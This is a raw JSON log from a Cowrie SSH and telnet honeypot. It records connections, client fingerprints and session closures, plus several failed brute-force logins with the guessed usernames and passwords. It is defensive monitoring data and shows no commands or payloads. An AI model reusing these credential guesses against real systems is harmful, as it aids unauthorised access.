{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33944,"dst_ip":"159.203.135.109","dst_port":23,"session":"09386d1bd1c9","protocol":"telnet","message":"New connection: 23.254.167.244:33944 (159.203.135.109:23) [session: 09386d1bd1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:45.252647Z"}
{"eventid":"cowrie.session.closed","duration":35.34643745422363,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:46.363054Z","src_ip":"23.254.167.244","session":"3d52a430c0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35310,"dst_ip":"159.203.135.109","dst_port":23,"session":"61015b8ddca6","protocol":"telnet","message":"New connection: 23.254.167.244:35310 (159.203.135.109:23) [session: 61015b8ddca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:46.555840Z"}
{"eventid":"cowrie.session.closed","duration":37.15870714187622,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:47.070236Z","src_ip":"23.254.167.244","session":"fc5f866e82f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09290146827698,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:48.576100Z","src_ip":"23.254.167.244","session":"be547fd0e1e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65441632270813,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:50.208099Z","src_ip":"23.254.167.244","session":"c012134e3382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada69ae02ac7","protocol":"telnet","message":"New connection: 23.254.167.244:46936 (159.203.135.109:23) [session: ada69ae02ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:56.159380Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56234,"dst_ip":"159.203.135.109","dst_port":23,"session":"baa9a535ecaa","protocol":"telnet","message":"New connection: 23.254.167.244:56234 (159.203.135.109:23) [session: baa9a535ecaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:01.642121Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57518,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff2f407862d","protocol":"telnet","message":"New connection: 23.254.167.244:57518 (159.203.135.109:23) [session: aff2f407862d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:04.543838Z"}
{"eventid":"cowrie.session.closed","duration":35.59452676773071,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:07.939558Z","src_ip":"209.159.146.115","session":"c93b5f8d3ffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34930,"dst_ip":"159.203.135.109","dst_port":23,"session":"2866b87660aa","protocol":"telnet","message":"New connection: 23.254.167.244:34930 (159.203.135.109:23) [session: 2866b87660aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:08.721161Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50198,"dst_ip":"159.203.135.109","dst_port":23,"session":"66357700f5b0","protocol":"telnet","message":"New connection: 209.159.146.115:50198 (159.203.135.109:23) [session: 66357700f5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:11.591633Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34592,"dst_ip":"159.203.135.109","dst_port":23,"session":"386c50c24b94","protocol":"telnet","message":"New connection: 185.26.126.47:34592 (159.203.135.109:23) [session: 386c50c24b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:11.776941Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38026,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c26f3b3125","protocol":"telnet","message":"New connection: 23.254.167.244:38026 (159.203.135.109:23) [session: 68c26f3b3125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:11.888541Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":62185,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c04d2cfab64","protocol":"ssh","message":"New connection: 74.87.117.149:62185 (10.17.0.5:22) [session: 6c04d2cfab64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:11.984423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:11.989491Z","src_ip":"74.87.117.149","session":"6c04d2cfab64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:12.014267Z","src_ip":"74.87.117.149","session":"6c04d2cfab64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"asdf1234","message":"login attempt [git/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:12.143875Z","src_ip":"74.87.117.149","session":"6c04d2cfab64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.170791Z","src_ip":"74.87.117.149","session":"6c04d2cfab64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ccd800338b","protocol":"ssh","message":"New connection: 159.203.92.129:36198 (159.203.135.109:22) [session: c2ccd800338b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.521022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.525857Z","src_ip":"159.203.92.129","session":"c2ccd800338b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.530812Z","src_ip":"159.203.92.129","session":"c2ccd800338b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankun","password":"123","message":"login attempt [ankun/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.542514Z","src_ip":"159.203.92.129","session":"c2ccd800338b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.130271434783936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.666373Z","src_ip":"23.254.167.244","session":"2dd1eea42317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"464d14d13b13","protocol":"telnet","message":"New connection: 23.254.167.244:41038 (159.203.135.109:23) [session: 464d14d13b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:13.837690Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:14.550504Z","src_ip":"159.203.92.129","session":"c2ccd800338b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60736,"dst_ip":"159.203.135.109","dst_port":23,"session":"9258ab5ecf36","protocol":"telnet","message":"New connection: 114.23.51.89:60736 (159.203.135.109:23) [session: 9258ab5ecf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:14.757393Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36082,"dst_ip":"159.203.135.109","dst_port":23,"session":"4def04238730","protocol":"telnet","message":"New connection: 209.159.146.115:36082 (159.203.135.109:23) [session: 4def04238730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:14.812710Z"}
{"eventid":"cowrie.session.closed","duration":37.29811072349548,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:15.668025Z","src_ip":"23.254.167.244","session":"33a867bdaa62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c897a0378342","protocol":"telnet","message":"New connection: 23.254.167.244:44766 (159.203.135.109:23) [session: c897a0378342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:16.765833Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45662,"dst_ip":"159.203.135.109","dst_port":23,"session":"f947fc860d39","protocol":"telnet","message":"New connection: 23.254.167.244:45662 (159.203.135.109:23) [session: f947fc860d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:17.586336Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31498,"dst_ip":"10.17.0.5","dst_port":22,"session":"0275f24534aa","protocol":"ssh","message":"New connection: 194.59.206.2:31498 (10.17.0.5:22) [session: 0275f24534aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:18.015135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:18.020247Z","src_ip":"194.59.206.2","session":"0275f24534aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:18.107376Z","src_ip":"194.59.206.2","session":"0275f24534aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:18.282965Z","src_ip":"194.59.206.2","session":"0275f24534aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.30427312850952,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:18.859999Z","src_ip":"23.254.167.244","session":"61015b8ddca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.570928573608398,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:19.347755Z","src_ip":"185.26.126.47","session":"386c50c24b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80616044998169,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:20.058450Z","src_ip":"23.254.167.244","session":"09386d1bd1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b39a07f11a76","protocol":"telnet","message":"New connection: 23.254.167.244:52654 (159.203.135.109:23) [session: b39a07f11a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:22.607191Z"}
{"eventid":"cowrie.session.closed","duration":42.07422208786011,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:26.921120Z","src_ip":"209.159.146.115","session":"5aa56c2a6f97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":56026,"dst_ip":"159.203.135.109","dst_port":22,"session":"9591d160c935","protocol":"ssh","message":"New connection: 157.66.34.121:56026 (159.203.135.109:22) [session: 9591d160c935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:27.183179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:27.187894Z","src_ip":"157.66.34.121","session":"9591d160c935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:27.418060Z","src_ip":"157.66.34.121","session":"9591d160c935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq1wsxcdv","message":"login attempt [ubuntu/zaq1wsxcdv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:28.373374Z","src_ip":"157.66.34.121","session":"9591d160c935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:29.606714Z","src_ip":"157.66.34.121","session":"9591d160c935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.03416872024536,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:33.193467Z","src_ip":"23.254.167.244","session":"ada69ae02ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49296,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ae16d85a30","protocol":"telnet","message":"New connection: 209.159.146.115:49296 (159.203.135.109:23) [session: 74ae16d85a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:33.824728Z"}
{"eventid":"cowrie.session.closed","duration":33.79049491882324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:35.432515Z","src_ip":"23.254.167.244","session":"baa9a535ecaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42636,"dst_ip":"159.203.135.109","dst_port":23,"session":"acafa691e254","protocol":"telnet","message":"New connection: 23.254.167.244:42636 (159.203.135.109:23) [session: acafa691e254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:36.806327Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":33152,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf575521b5c3","protocol":"telnet","message":"New connection: 114.23.51.89:33152 (159.203.135.109:23) [session: cf575521b5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:37.665898Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"566dd910d38d","protocol":"telnet","message":"New connection: 209.159.146.115:44498 (159.203.135.109:23) [session: 566dd910d38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:38.737787Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45378,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bd6ef32b089","protocol":"telnet","message":"New connection: 23.254.167.244:45378 (159.203.135.109:23) [session: 9bd6ef32b089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:39.670971Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49126,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db53cdc3df6","protocol":"telnet","message":"New connection: 209.159.146.115:49126 (159.203.135.109:23) [session: 3db53cdc3df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:39.721028Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57376,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdfdcc3ebd1b","protocol":"telnet","message":"New connection: 209.159.146.115:57376 (159.203.135.109:23) [session: fdfdcc3ebd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:42.029248Z"}
{"eventid":"cowrie.session.closed","duration":33.492472887039185,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:42.213471Z","src_ip":"23.254.167.244","session":"2866b87660aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b53791cd87","protocol":"telnet","message":"New connection: 114.23.51.89:56988 (159.203.135.109:23) [session: 60b53791cd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:43.811874Z"}
{"eventid":"cowrie.session.closed","duration":32.49397110939026,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:44.085474Z","src_ip":"209.159.146.115","session":"66357700f5b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08187818527222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:44.970114Z","src_ip":"23.254.167.244","session":"68c26f3b3125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76555824279785,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:45.309290Z","src_ip":"23.254.167.244","session":"aff2f407862d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56992,"dst_ip":"159.203.135.109","dst_port":23,"session":"d52863095b1f","protocol":"telnet","message":"New connection: 114.23.51.89:56992 (159.203.135.109:23) [session: d52863095b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:45.601367Z"}
